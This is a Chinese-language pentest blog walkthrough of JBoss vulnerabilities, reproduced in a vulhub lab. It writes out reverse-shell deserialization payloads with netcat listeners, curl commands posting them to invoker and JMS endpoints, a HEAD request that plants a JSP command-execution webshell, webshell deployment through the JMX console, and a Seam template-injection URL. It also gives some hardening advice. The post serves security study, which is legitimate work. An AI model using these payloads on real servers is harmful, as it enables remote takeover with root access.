AqYoung

分享渗透知识与技巧

0%

中间件漏洞之JBoss

中间件JBoss漏洞记录

JBoss简介

是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

JBoss常见漏洞

反序列化漏洞

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

影响版本:

Jboss AS 5.x
Jboss AS 6.x

1、环境搭建

这里直接使用vulhub进行搭建

2、漏洞复现

(1)直接访问漏洞存在点

http://192.168.11.12:8080/invoker/readonly

可以看到返回 500 页面说明页面存在的

(2)这里使用工具:JavaDeserH2HC

#1 生成 ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

#2 生成 ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port (ip是监听服务端的ip)

#3 用netcat进行监听
 nc -lvp port

#4 漏洞利用
curl http://192.168.11.12:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

利用成功之后得到的是root权限

参考:https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg

JBossMQ JMS (CVE-2017-7504)

影响版本:

Jboss AS 4.x

漏洞复现:

(1)访问

http://192.168.11.12:8080/jbossmq-httpil/HTTPServerILServlet

返回 This is the JBossMQ HTTP-IL 说明页面存在

(2)漏洞利用

直接使用之前生成的 “ *.ser”

#1 用netcat进行监听
 nc -lvp port

#2 漏洞利用
curl http://192.168.11.12:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功反弹root权限的shell

JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

漏洞复现

(1)访问

http://192.168.11.12:8080/invoker/JMXInvokerServlet

返回如下的response,说明接口是开放的,此接口存在漏洞

(2)漏洞利用

这里还是直接使用之前生成的 “ *.ser”

#1 用netcat进行监听
 nc -lvp port

#2 漏洞利用
curl http://192.168.11.12:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功反弹root权限的shell

EJBInvokerServlet 反序列化漏洞( CVE-2013-4810)

漏洞利用方法和上面大同小异不再赘述

关于序列化的漏洞网上也有很多的EXP,例如也可以使用DeserializeExploit.jar直接可以执行命令,上传文件等等。

参考文档:

https://vulhub.org/#/environments/jboss/
https://www.freebuf.com/vuls/186948.html

JMX Console未授权访问

HtmlAdaptor addURL() 文件上传漏洞

利用后台jboss.deployment -> DeploymentScanner -> Java.net.URL类型 addURL()

漏洞配置

(1)关闭安全配置(/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml)

(2)关闭安全认证,注释掉(/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/web.xml)

<!--
   <security-constraint>
     <web-resource-collection>
       <web-resource-name>HtmlAdaptor</web-resource-name>
       <description>An example security config that only allows users with the
         role JBossAdmin to access the HTML JMX console web application
       </description>
       <url-pattern>/*</url-pattern>
       <http-method>GET</http-method>
       <http-method>POST</http-method>
     </web-resource-collection>
     <auth-constraint>
       <role-name>JBossAdmin</role-name>
     </auth-constraint>
   </security-constraint>
-->

漏洞利用

(1)访问

http://192.168.11.12:8080/jmx-console/

(2)点击jboss.deployment进入应用部署页面

(3)这里用kali自带的apache服务器,并且存在war木马包

(4)通过addurl参数进行远程的木马部署

(5)部署成功后返回 successfully ,之后访问

http://192.168.11.12:8080/job(war包名)/job.jsp(木马名)

成功获得一个webshell

修复建议:

(1)开启安全配置和安全认证

(2)配置用户密码以及用户权限

./opt/jboss/jboss4/server/default/conf/login-config.xml

#用户配置文件位置
./opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties

./opt/jboss/jboss4/server/default/conf/props/jmx-console-roles.properties

在开启安全配置和认证之后添加新的用户

重新启动jboss之后再次访问:

store()方法(CVE-2007-1036)漏洞

利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法

payload

http://192.168.11.12:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository

通过访问上面的url定位到store()方法

通过拼接传入对应的jsp即可getshell,这里不再赘述。

CVE-2010-0738漏洞

利用原理与CVE-2007-1036相同,只不过利用HEAD请求方法绕过GET和POST请求的限制

HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn
dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=
<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True 

CVE-2005-5750漏洞

利用原理和CVE-2007-1036漏洞相同,只不过该漏洞利用methodIndex进行store()方法的调用。其中methodIndex是通过方法的编号进行调用。这里不再赘述。

JBoss seam2模板注入(CVE-2010-1871)

参考:https://www.freebuf.com/vuls/186948.html

payload

http://192.168.11.12:8080/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{command}

尾巴:

相比于其他中间件,JBoss的漏洞主要偏向于java反序列化攻击,一个反序列化攻击的影响是极大的。甚至一个是管理员的疏忽导致的弱口令或者未授权都可能导致被getshell。


声明:

  • 笔者初衷用于分享与交流网络知识,若读者因此作出任何危害网络安全行为后果自负,与作者无关!